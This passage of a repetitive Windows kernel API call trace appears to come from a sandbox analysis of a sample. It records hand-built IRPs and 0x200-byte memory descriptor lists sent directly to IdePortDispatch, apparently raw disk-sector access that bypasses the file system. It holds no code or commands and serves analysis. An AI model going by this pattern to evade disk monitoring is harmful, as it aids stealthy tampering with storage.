Event=0xfffff88002fab990) [0057.277] IdePortDispatch () returned 0x103 [0057.277] KeWaitForMutexObject () returned 0x0 [0057.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.278] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.278] IdePortDispatch () returned 0x103 [0057.278] KeWaitForMutexObject () returned 0x0 [0057.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.278] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.278] IdePortDispatch () returned 0x103 [0057.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.278] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.278] IdePortDispatch () returned 0x103 [0057.278] KeWaitForMutexObject () returned 0x0 [0057.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.278] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.278] IdePortDispatch () returned 0x103 [0057.279] KeWaitForMutexObject () returned 0x0 [0057.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.279] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.279] IdePortDispatch () returned 0x103 [0057.279] KeWaitForMutexObject () returned 0x0 [0057.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.279] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.279] IdePortDispatch () returned 0x103 [0057.279] KeWaitForMutexObject () returned 0x0 [0057.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.279] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.279] IdePortDispatch () returned 0x103 [0057.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.280] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.280] IdePortDispatch () returned 0x103 [0057.280] KeWaitForMutexObject () returned 0x0 [0057.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.280] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.280] IdePortDispatch () returned 0x103 [0057.280] KeWaitForMutexObject () returned 0x0 [0057.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.280] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.280] IdePortDispatch () returned 0x103 [0057.280] KeWaitForMutexObject () returned 0x0 [0057.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.281] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.281] IdePortDispatch () returned 0x103 [0057.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.281] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.281] IdePortDispatch () returned 0x103 [0057.281] KeWaitForMutexObject () returned 0x0 [0057.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.281] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.281] IdePortDispatch () returned 0x103 [0057.281] KeWaitForMutexObject () returned 0x0 [0057.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.282] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.282] IdePortDispatch () returned 0x103 [0057.282] KeWaitForMutexObject () returned 0x0 [0057.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.284] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.284] IdePortDispatch () returned 0x103 [0057.284] KeWaitForMutexObject () returned 0x0 [0057.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.285] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.285] IdePortDispatch () returned 0x103 [0057.285] KeWaitForMutexObject () returned 0x0 [0057.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.285] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.285] IdePortDispatch () returned 0x103 [0057.285] KeWaitForMutexObject () returned 0x0 [0057.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.285] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.285] IdePortDispatch () returned 0x103 [0057.285] KeWaitForMutexObject () returned 0x0 [0057.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.286] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.286] IdePortDispatch () returned 0x103 [0057.286] KeWaitForMutexObject () returned 0x0 [0057.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.286] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.286] IdePortDispatch () returned 0x103 [0057.286] KeWaitForMutexObject () returned 0x0 [0057.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.286] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.286] IdePortDispatch () returned 0x103 [0057.286] KeWaitForMutexObject () returned 0x0 [0057.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.286] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.286] IdePortDispatch () returned 0x103 [0057.287] KeWaitForMutexObject () returned 0x0 [0057.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.287] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.287] IdePortDispatch () returned 0x103 [0057.287] KeWaitForMutexObject () returned 0x0 [0057.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.287] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.287] IdePortDispatch () returned 0x103 [0057.287] KeWaitForMutexObject () returned 0x0 [0057.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.287] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.287] IdePortDispatch () returned 0x103 [0057.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.288] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.288] IdePortDispatch () returned 0x103 [0057.288] KeWaitForMutexObject () returned 0x0 [0057.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.288] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.288] IdePortDispatch () returned 0x103 [0057.288] KeWaitForMutexObject () returned 0x0 [0057.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.288] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.288] IdePortDispatch () returned 0x103 [0057.288] KeWaitForMutexObject () returned 0x0 [0057.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.289] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.289] IdePortDispatch () returned 0x103 [0057.289] KeWaitForMutexObject () returned 0x0 [0057.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.289] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.289] IdePortDispatch () returned 0x103 [0057.289] KeWaitForMutexObject () returned 0x0 [0057.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.289] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.289] IdePortDispatch () returned 0x103 [0057.289] KeWaitForMutexObject () returned 0x0 [0057.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.290] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.290] IdePortDispatch () returned 0x103 [0057.290] KeWaitForMutexObject () returned 0x0 [0058.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.625] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.625] IdePortDispatch () returned 0x103 [0058.626] KeWaitForMutexObject () returned 0x0 [0058.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.703] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.703] IdePortDispatch () returned 0x103 [0058.704] KeWaitForMutexObject () returned 0x0 [0058.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.751] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.751] IdePortDispatch () returned 0x103 [0058.751] KeWaitForMutexObject () returned 0x0 [0058.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.752] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.752] IdePortDispatch () returned 0x103 [0058.752] KeWaitForMutexObject () returned 0x0 [0058.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.752] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.752] IdePortDispatch () returned 0x103 [0058.752] KeWaitForMutexObject () returned 0x0 [0058.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.752] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.752] IdePortDispatch () returned 0x103 [0058.753] KeWaitForMutexObject () returned 0x0 [0058.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.753] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.753] IdePortDispatch () returned 0x103 [0058.753] KeWaitForMutexObject () returned 0x0 [0058.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.753] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.753] IdePortDispatch () returned 0x103 [0058.754] KeWaitForMutexObject () returned 0x0 [0058.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.754] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.754] IdePortDispatch () returned 0x103 [0058.754] KeWaitForMutexObject () returned 0x0 [0058.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.754] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.754] IdePortDispatch () returned 0x103 [0058.754] KeWaitForMutexObject () returned 0x0 [0058.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, 